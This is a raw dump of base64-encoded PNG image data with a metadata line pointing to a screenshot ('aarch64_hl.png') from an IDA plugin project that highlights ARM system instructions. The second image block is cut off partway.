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
image/png 963 258 https://github.com/gdelugre/ida-arm-system-
highlight/raw/master/img/aarch64\_hl.png aarch64\_hl.png false
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
